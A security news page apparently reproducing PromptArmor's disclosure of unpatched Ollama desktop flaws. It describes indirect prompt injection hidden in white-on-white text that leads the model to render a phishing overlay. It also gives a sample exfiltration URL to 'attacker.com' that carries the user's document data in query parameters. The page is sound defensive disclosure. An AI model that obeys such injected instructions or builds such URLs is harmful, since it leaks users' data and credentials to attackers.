cd /news/ai-safety/unpatched-ollama-vulnerabilities-phi… · home topics ai-safety article
[ARTICLE · art-17946] src=promptarmor.com pub= topic=ai-safety verified=true sentiment=↓ negative

Unpatched Ollama Vulnerabilities: Phishing Overlays and Data Exfiltration

Multiple unpatched vulnerabilities in the Ollama desktop application allow attackers to overwrite the entire user interface with a phishing overlay and exfiltrate user data through indirect prompt injection attacks. Three zero-click data exfiltration vectors were identified, exploiting insecure web search tooling, Markdown image rendering, and external HTML elements. The flaws were reported to Ollama on December 18, 2025, but the team did not respond despite four follow-ups, prompting public disclosure to warn users.

read2 min publishedMay 29, 2026

Threat Intelligence

Table of Content

Ollama’s desktop app is vulnerable to phishing overlay and data exfiltration attacks via indirect prompt injection, overwriting the app with an attacker’s site.

Context Ollama is a leading tool for leveraging AI models, with over 170,000 stars on GitHub. Multiple vulnerabilities in the desktop app have been identified, enabling phishing and data exfiltration attacks.

The entire Ollama desktop interface can be overwritten by an attacker-controlled website via an indirect prompt-injection attack due to insecure rendering of model outputs.

Three zero-click data exfiltration vectors exploitable via indirect prompt injection were also identified.

Note: No human-in-the-loop approval steps are required for any attacks in this article.

These vulnerabilities were reported to the Ollama team on Dec 18, 2025, but no response was received despite four additional follow-ups. To ensure users are aware of these risks, this report is being disclosed publicly.

The Attack Chain The user asks Ollama about an external website or externally-sourced fileA prompt injection is hidden on the external site in 1 pt font white-on-white text

The AI model is manipulated to output malicious HTML, overwriting the user interface with an attacker-controlled websiteThe AI model is manipulated to believe it must output an HTML element as part of its explanation to the user.

Note: Quitting and re-opening Ollama does not close the malicious overlay.The attacker logs the credentials entered into the malicious overlay

Data Exfiltration Attacks In addition to the phishing risk noted above, three zero-click data exfiltration vectors that are exploitable via indirect prompt injection were identified.

Data exfiltration via insecure web search tooling

Data exfiltration via insecure rendering of Markdown image outputs

Data exfiltration via insecure rendering of external HTML elements

Below is a data exfiltration attack chain that weaponizes insecure web search tooling:

Note: This attack uses the same malicious website, but with a different prompt injection.

A data source with a prompt injection is ingested (website, document, etc.)AI is manipulated to access a malicious URL, exfiltrating data from documents the user has been working withThe model is manipulated to construct a URL using the attacker’s domain, with data from the victim’s previously uploaded documents stored in query parameters.

attacker.com/?data={AI puts the user’s data here}The attacker’s server logs the model’s request, including the victim’s data

Responsible Disclosure These vulnerabilities were reported to the Ollama team on Dec 18, 2025, but no response was received despite four additional follow-ups. To ensure users are aware of these risks, this report is being disclosed publicly.

Timeline Dec 18, 2025 PromptArmor discloses to Ollama

Jan 20, 2026 PromptArmor follows up

Jan 26, 2026 PromptArmor follows up

Jan 29, 2026 PromptArmor follows up

Feb 19, 2026 PromptArmor follows up

May 28, 2026 Article published

── more in #ai-safety 4 stories · sorted by recency
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
Live at https://your-agent.zahid.host
Get free account → Pricing
from €0/mo · no card required
LIVE [news/unpatched-ollama-vul…] indexed:0 read:2min 2026-05-29 ·